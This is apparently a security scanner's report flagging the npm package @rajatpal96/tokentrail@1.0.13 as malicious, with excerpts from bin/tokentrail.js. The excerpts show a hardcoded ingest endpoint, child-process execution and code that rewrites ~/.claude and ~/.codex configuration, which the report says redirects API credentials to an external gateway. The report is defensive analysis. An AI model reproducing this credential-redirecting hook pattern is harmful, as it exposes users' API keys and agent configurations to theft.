@rajatpal96/tokentrail@1.0.13: Malicious npm security report | LPM Firewall

Loading npm security reports…

@rajatpal96/tokentrail@1.0.13: Malicious npm security report | LPM Firewall

Source & flagged code

5 flagged · loading source

bin/tokentrail.jsView file

6Source sends the broad process environment to a literal external destination. L6: import readline from 'readline'; L7: import http from 'http'; L8: import { exec, spawn } from 'child_process'; L9: import Database from 'better-sqlite3'; L10: L11: const CONFIG_DIR = path.join(os.homedir(), '.tokentrail'); L12: const LEGACY_CONFIG_DIR = path.join(os.homedir(), '.agentpulse'); ... L31: const raw = fs.readFileSync(configFile, 'utf-8'); L32: existingConfig = JSON.parse(raw); L33: backupPath = path.join(claudeDir, `config.backup.${Date.now()}.json`); ... L37: L38: const endpoint = process.env.TOKENTRAIL_INGEST_URL || process.env.AGENTMETER_INGEST_URL || 'https://api.tokentrail.xyz/v1/events';

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

bin/tokentrail.jsView on unpkg · L6

7import http from 'http'; L8: import { exec, spawn } from 'child_process'; L9: import Database from 'better-sqlite3';

High

Child Process

Package source references child process execution.

bin/tokentrail.jsView on unpkg · L7

854const port = server.address().port; L855: const callbackUrl = `http://127.0.0.1:${port}/callback`; L856: const dashboardUrl = process.env.TOKENTRAIL_DASHBOARD_URL || 'https://www.tokentrail.xyz'; L857: const authUrl = `${dashboardUrl}?cli_callback=${encodeURIComponent(callbackUrl)}&cli_state=${authState}`; ... L863: const openCmd = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open'; L864: exec(`${openCmd} "${authUrl}"`, () => {}); L865:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/tokentrail.jsView on unpkg · L854

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. bin/tokentrail.js: import readline from 'readline'; const claudeDir = path.join(this.homeDir, '.claude'); fs.writeFileSync(backupPath, raw); fs.writeFileSync(configFile, JSON.stringify(updatedConfig, null, 2)); message: 'TokenTrail hook merged safely into ~/.claude/config.json', fs.writeFileSync(configFile, JSON.stringify(config, null, 2)); const codexDir = path.join(this.homeDir, '.codex'); fs.writeFileSync(configFile, JSON.stringify(config, null, 2));

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

bin/tokentrail.jsView on unpkg

6import readline from 'readline'; L7: import http from 'http'; L8: import { exec, spawn } from 'child_process'; L9: import Database from 'better-sqlite3'; L10: L11: const CONFIG_DIR = path.join(os.homedir(), '.tokentrail'); L12: const LEGACY_CONFIG_DIR = path.join(os.homedir(), '.agentpulse'); ... L31: const raw = fs.readFileSync(configFile, 'utf-8'); L32: existingConfig = JSON.parse(raw); L33: backupPath = path.join(claudeDir, `config.backup.${Date.now()}.json`); ... L37: L38: const endpoint = process.env.TOKENTRAIL_INGEST_URL || process.env.AGENTMETER_INGEST_URL || 'https://api.tokentrail.xyz/v1/events';

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

bin/tokentrail.jsView on unpkg · L6

Source & flagged code

5 flagged

bin/tokentrail.jsView file

Lines 1-27javascript

1#!/usr/bin/env node

2

3import path from 'path';

4import fs from 'fs';

5import os from 'os';

6import readline from 'readline';

7import http from 'http';

8import { exec, spawn } from 'child_process';

9import Database from 'better-sqlite3';

High

Child Process

Package source references child process execution.

bin/tokentrail.jsView on unpkg · L7

10

11const CONFIG_DIR = path.join(os.homedir(), '.tokentrail');

12const LEGACY_CONFIG_DIR = path.join(os.homedir(), '.agentpulse');

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

bin/tokentrail.jsView on unpkg · L6

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

bin/tokentrail.jsView on unpkg · L6

13const CONFIG_FILE = path.join(CONFIG_DIR, 'config.json');

14

15class SafeHookManager {

16 homeDir = os.homedir();

17

18 async connectClaude() {

19 const claudeDir = path.join(this.homeDir, '.claude');

20 const configFile = path.join(claudeDir, 'config.json');

21

22 if (!fs.existsSync(claudeDir)) {

23 fs.mkdirSync(claudeDir, { recursive: true });

24 }

25

26 let existingConfig = {};

27 let backupPath;

Lines 834-874javascript

834 </body>

835 </html>

836 `);

837

838 server.close();

839

840 console.log(`\n\x1b[32m✔ Successfully authenticated via browser${email ? ` as ${email}` : ''}!\x1b[0m

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. bin/tokentrail.js: import readline from 'readline'; const claudeDir = path.join(this.homeDir, '.claude'); fs.writeFileSync(backupPath, raw); fs.writeFileSync(configFile, JSON.stringify(updatedConfig, null, 2)); message: 'TokenTrail hook merged safely into ~/.claude/config.json', fs.writeFileSync(configFile, JSON.stringify(config, null, 2)); const codexDir = path.join(this.homeDir, '.codex'); fs.writeFileSync(configFile, JSON.stringify(config, null, 2));

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

bin/tokentrail.jsView on unpkg